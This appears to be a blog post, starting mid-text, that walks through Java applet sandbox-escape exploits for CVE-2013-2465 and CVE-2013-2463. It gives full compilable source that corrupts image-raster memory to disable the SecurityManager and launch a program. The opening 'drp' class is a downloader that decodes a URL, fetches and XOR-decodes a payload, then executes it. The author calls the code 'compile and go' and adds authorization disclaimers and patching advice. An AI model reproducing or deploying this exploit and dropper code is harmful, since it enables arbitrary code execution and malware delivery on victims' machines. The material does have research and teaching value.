import java.io.FileOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URL;
import java.nio.ByteBuffer;
import java.nio.channels.Channels;
import java.nio.channels.ReadableByteChannel;
import javax.xml.bind.DatatypeConverter;

class drp
{
  private static String db64(String paramString)
    throws UnsupportedEncodingException
  {
    byte[] arrayOfByte = DatatypeConverter.parseBase64Binary(paramString);
    return new String(arrayOfByte, "UTF-8");
  }

  public static void dx(String paramString, byte[] paramArrayOfByte)
    throws IOException
  {
    if (paramString.isEmpty())
      System.exit(0);
    if (!paramString.startsWith("http"))
      paramString = db64(paramString);
    if (!paramString.startsWith("http"))
      System.exit(0);
    ReadableByteChannel localReadableByteChannel = null;
    try
    {
      localReadableByteChannel = 
        Channels.newChannel(new URL(paramString).openStream());
    }
    catch (IOException localIOException)
    {
      System.exit(0);
    }
    for (ByteBuffer localByteBuffer = ByteBuffer.allocate(4096); 
        localReadableByteChannel.read(localByteBuffer) != -1; 
        localByteBuffer = rsb(localByteBuffer));
    byte[] arrayOfByte = new byte[localByteBuffer.position()];
    localByteBuffer.position(0);
    localByteBuffer.get(arrayOfByte);
    File localFile = File.createTempFile("~tmf", null);
    FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
    int i = paramArrayOfByte.length;
    for (int j = 0; j < arrayOfByte.length; j++)
      arrayOfByte[j] = ((byte)(arrayOfByte[j] ^ paramArrayOfByte[(j % i)]));
    localFileOutputStream.write(arrayOfByte);
    localFileOutputStream.flush();
    localFileOutputStream.close();
    Runtime.getRuntime().exec(new String[] { localFile.getAbsolutePath() });
    System.exit(0);
  }

  private static ByteBuffer rsb(ByteBuffer paramByteBuffer)
  {
    ByteBuffer localByteBuffer = paramByteBuffer;
    if (paramByteBuffer.remaining() < 4096)
    {
      localByteBuffer = ByteBuffer.allocate(paramByteBuffer.capacity() * 2);
      paramByteBuffer.flip();
      localByteBuffer.put(paramByteBuffer);
    }
    return localByteBuffer;
  }
}
ijk.java

import java.awt.color.ICC_ColorSpace;
import java.awt.color.ICC_Profile;

public class ijk extends ICC_ColorSpace
{
  public ijk()
  {
    super(ICC_Profile.getInstance(1000));
  }

  public int getNumComponents()
  {
    int i = 1;
    return i;
  }

  public static Class scs()
  {
    return System.class;
  }
}
ikj.java

import java.beans.Statement;

public class ikj
{
  public static Object stt(Object paramObject, String paramString, 
    Object[] paramArrayOfObject)
    throws Exception
  {
    return new Statement(paramObject, paramString, paramArrayOfObject);
  }
}
jik.java

import java.beans.Statement;

public class jik
{
  public static Object sgt(Object paramObject)
  {
    return ((Statement)paramObject).getTarget();
  }
}
jki.java

import java.awt.image.ComponentColorModel;
import java.awt.image.Raster;

public class jki extends ComponentColorModel
{
  public jki()
  {
    super(new ijk(), new int[] { 8, 8, 8 }, false, false, 1, 0);
  }

  public boolean isCompatibleRaster(Raster paramRaster)
  {
    boolean bool = true;
    return bool;
  }

  public static SecurityManager gg()
  {
    return System.getSecurityManager();
  }
}
kji.java

import java.beans.Statement;

public class kji
{
  public static void ste(Object paramObject)
  {
    try
    {
      ((Statement)paramObject).execute();
    }
    catch (Exception localException)
    {
    }
  }
}

After some review, honestly, the exploit has very little obfuscation. Really, Alt.java is the most notable file, as it contains the actual exploit (the “attempt” function). The only other two files that are necessary are ijk.java (it extends ICC_ColorSpace) and jki (extends ComponentColorModel).

This is the reduced files (which as always, will pop up calc.exe upon exploit).

Note: Remember to only use this on machines you’re authorized to exploit, anything else is illegal!

appletMainmyColorModelmyColorSpace
Alt.java

import java.applet.Applet;
import java.awt.geom.AffineTransform;
import java.awt.image.AffineTransformOp;
import java.awt.image.BufferedImage;
import java.awt.image.DataBufferByte;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.beans.Statement;

public class Alt extends Applet
{
  private boolean _is64 = System.getProperty("os.arch", "").contains("64");

  public void init()
  {
    try
    {
      for (int i = 1; (i <= 5) && (isSecManNotNull()); i++)
      {
        attempt();
      }
      if (isSecManNotNull())
      {
         System.exit(0);
      }
      Runtime.getRuntime().exec(new String[] { "calc.exe" });
    }
    catch (Exception localException)
    {
      System.exit(0);
    }
  }

  public static boolean isSecManNotNull()
  {
    return System.getSecurityManager() != null;
  }

  private int attempt()
  {
    try
    {
      Class localClass = getSystemClass();
      String str = "setSecurityManager";
      Object[] arrayOfObject1 = new Object[1];
      Object localObject = new Statement(localClass, str, arrayOfObject1);
      DataBufferByte localDataBufferByte = new DataBufferByte(16);
      int[] arrayOfInt = new int[8];
      Object[] arrayOfObject2 = new Object[7];
      arrayOfObject2[2] = new Statement(localClass, str, arrayOfObject1);
      Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { 
            new ProtectionDomain(new CodeSource(null, new Certificate[0]), 
            localPermissions) });
      arrayOfObject2[4] = ((Statement)arrayOfObject2[2]).getTarget();
      int i = arrayOfInt.length;
      BufferedImage localBufferedImage1 = new BufferedImage(4, 1, 2);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel = 
            new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 44 + 
            (this._is64 ? 8 : 0));
      WritableRaster localWritableRaster = 
            Raster.createWritableRaster(localMultiPixelPackedSampleModel, 
            localDataBufferByte, null);
      BufferedImage localBufferedImage2 = new BufferedImage(
            new myColorModel(), localWritableRaster, false, null);
      localBufferedImage1.getRaster().setPixel(0, 0, 
            new int[] { -1, -1, -1, -1 });
      AffineTransformOp localAffineTransformOp = 
            new AffineTransformOp(new AffineTransform(1.0F, 0.0F, 
            0.0F, 1.0F, 0.0F, 0.0F), null);
      localAffineTransformOp.filter(localBufferedImage1, localBufferedImage2);
      int j = arrayOfInt.length;
      if (j == i)
        return 1;
      int k = 0;
      int m = arrayOfObject2.length;
      for (int n = i + 2; n < i + 32; n++)
        if ((arrayOfInt[(n - 1)] == m) 
            && (arrayOfInt[n] == 0) 
            && (arrayOfInt[(n + 1)] == 0) 
            && (arrayOfInt[(n + 2)] != 0) 
            && (arrayOfInt[(n + 3)] != 0) 
            && (arrayOfInt[(n + 4)] != 0) 
            && (arrayOfInt[(n + 5)] == 0) 
            && (arrayOfInt[(n + 6)] == 0))
        {
          int i1 = arrayOfInt[(n + 4)];
          for (int i2 = n + 7; i2 < n + 7 + 64; i2++)
            if (arrayOfInt[i2] == i1)
            {
              arrayOfInt[(i2 - 1)] = arrayOfInt[(n + 3)];
              k = 1;
              break;
            }
          if (k != 0)
            break;
        }
      if (k != 0)
        try
        {
          ((Statement)arrayOfObject2[2]).execute();
        }
        catch (Exception localException2)
        {
        }
    }
    catch (Exception localException1)
    {
    }
    return 0;
  }

  private byte[] pic(String paramString)
  {
    int i = paramString.length();
    byte[] arrayOfByte = new byte[i];
    for (int j = 0; j < i; j++);
    return arrayOfByte;
  }

  private String unpic(byte[] paramArrayOfByte)
  {
    StringBuilder localStringBuilder = new StringBuilder("");
    for (int i = 0; i < paramArrayOfByte.length; i++)
      localStringBuilder.append('A');
    return localStringBuilder.toString();
  }

  public static Class getSystemClass()
  {
    return System.class;
  }
}
Alt.java

import java.awt.image.ComponentColorModel;
import java.awt.image.Raster;

public class myColorModel extends ComponentColorModel
{
  public myColorModel()
  {
    super(new myColorSpace(), new int[] { 8, 8, 8 }, false, false, 1, 0);
  }

  public boolean isCompatibleRaster(Raster paramRaster)
  {
    boolean bool = true;
    return bool;
  }
}
Alt.java

import java.awt.color.ICC_ColorSpace;
import java.awt.color.ICC_Profile;

public class myColorSpace extends ICC_ColorSpace
{
  public myColorSpace()
  {
    super(ICC_Profile.getInstance(1000));
  }

  public int getNumComponents()
  {
    int i = 1;
    return i;
  }
}

And, the result against Java6u45 (no click to run apparently necessary):
cve-2013-2465-success

The CVE description says this is related to “Incorrect image channel verification”.

The key seems to be where the AccessControlContext class is essentially passed a Permissions object containing AllPermission(). From what I gather, AffineTransformOp has a call to a vulnerable storeImageArray() method, which seems to have something like a buffer overflow vulnerability, where once outside of that buffer, you are working outside of the sandbox (or something like that, Java isn’t my specialty). Then you use the AllPermissions Permission to work without a Security Manager.

Update:
Now, taking a look at CVE-2013-2463, the code is just about the same, it just exploits AlphaComposite.Src.createContext instead of AffineTransformOp. But the end code is very similar (the key different areas are bolded). Also, only a single class is used for this exploit.

appletMain
Alt.java

import java.applet.Applet;
import java.awt.AlphaComposite;
import java.awt.CompositeContext;
import java.awt.image.DataBufferByte;
import java.awt.image.IndexColorModel;
import java.awt.image.MultiPixelPackedSampleModel;
import java.awt.image.Raster;
import java.awt.image.WritableRaster;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.beans.Statement;

public class Alt2 extends Applet
{

  private boolean _is64 = System.getProperty("os.arch", "").contains("64");

  public void init()
  {
    try
    {
      for (int i = 1; (i <= 5) && (isSecManNotNull()); i++)
      {
        attempt();
      }
      if (isSecManNotNull())
      {
         System.exit(0);
      }
      Runtime.getRuntime().exec(new String[] { "calc.exe" });
    }
    catch (Exception localException)
    {
      System.exit(0);
    }
  }

  public static boolean isSecManNotNull()
  {
    return System.getSecurityManager() != null;
  }

  private int attempt()
  {
    try
    {
      Class localClass = getSystemClass();
      String str = "setSecurityManager";
      Object[] arrayOfObject1 = new Object[1];
      Object localObject = new Statement(localClass, str, arrayOfObject1);
      DataBufferByte localDataBufferByte1 = new DataBufferByte(9);
      int[] arrayOfInt = new int[8];
      Object[] arrayOfObject2 = new Object[7];
      arrayOfObject2[2] = new Statement(localClass, str, arrayOfObject1);
      Permissions localPermissions = new Permissions();
      localPermissions.add(new AllPermission());
      arrayOfObject2[3] = new AccessControlContext(new ProtectionDomain[] { 
            new ProtectionDomain(new CodeSource(null, new Certificate[0]), 
            localPermissions) });
      arrayOfObject2[4] = ((Statement)arrayOfObject2[2]).getTarget();
      int i = arrayOfInt.length;
      DataBufferByte localDataBufferByte2 = new DataBufferByte(8);
      for (int j = 0; j < 8; j++)
        localDataBufferByte2.setElem(j, -1);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel1 = 
            new MultiPixelPackedSampleModel(0, 4, 1, 1, 4, 0);
      WritableRaster localWritableRaster1 = Raster.createWritableRaster(
            localMultiPixelPackedSampleModel1, localDataBufferByte2, null);
      MultiPixelPackedSampleModel localMultiPixelPackedSampleModel2 = 
            new MultiPixelPackedSampleModel(0, 4, 2, 1, 
            1073741789 - (this._is64 ? 16 : 0), 288 + (this._is64 ? 128 : 0));
      WritableRaster localWritableRaster2 = Raster.createWritableRaster(
            localMultiPixelPackedSampleModel2, localDataBufferByte1, null);
      byte[] arrayOfByte = { 0, -1 };
      IndexColorModel localIndexColorModel = new IndexColorModel(1, 2, 
            arrayOfByte, arrayOfByte, arrayOfByte);
      CompositeContext localCompositeContext = 
            AlphaComposite.Src.createContext(
            localIndexColorModel, localIndexColorModel, null);
      localCompositeContext.compose(localWritableRaster1, 
            localWritableRaster2, localWritableRaster2);
      int k = arrayOfInt.length;
      if (k == i)
        return 1;
      int m = 0;
      int n = arrayOfObject2.length;
      for (int i1 = i + 2; i1 < i + 32; i1++)
        if ((arrayOfInt[(i1 - 1)] == n) 
            && (arrayOfInt[i1] == 0) 
            && (arrayOfInt[(i1 + 1)] == 0) 
            && (arrayOfInt[(i1 + 2)] != 0) 
            && (arrayOfInt[(i1 + 3)] != 0) 
            && (arrayOfInt[(i1 + 4)] != 0) 
            && (arrayOfInt[(i1 + 5)] == 0) 
            && (arrayOfInt[(i1 + 6)] == 0))
        {
          int i2 = arrayOfInt[(i1 + 4)];
          for (int i3 = i1 + 7; i3 < i1 + 7 + 64; i3++)
            if (arrayOfInt[i3] == i2)
            {
              arrayOfInt[(i3 - 1)] = arrayOfInt[(i1 + 3)];
              m = 1;
              break;
            }
          if (m != 0)
            break;
        }
      if (m != 0)
        try
        {
          ((Statement)arrayOfObject2[2]).execute();
        }
        catch (Exception localException2)
        {
        }
    }
    catch (Exception localException1)
    {
    }
    return 0;
  }

  public static Class getSystemClass()
  {
    return System.class;
  }
}

The behavior of CVE-2013-2463 appears to be the same as CVE-2013-2465. Neither trigger a click-to-run Java warning, they both just run, exploit, and pop up calc.exe with no problems.

In any case, some fairly simple source code for this exploits are above, and no special byte code alterations needed like last time, just compile and go.

As always, again:

Note: Remember to only use this on machines you’re authorized to exploit, anything else is illegal!

And if you run Java… just uninstall or at least patch…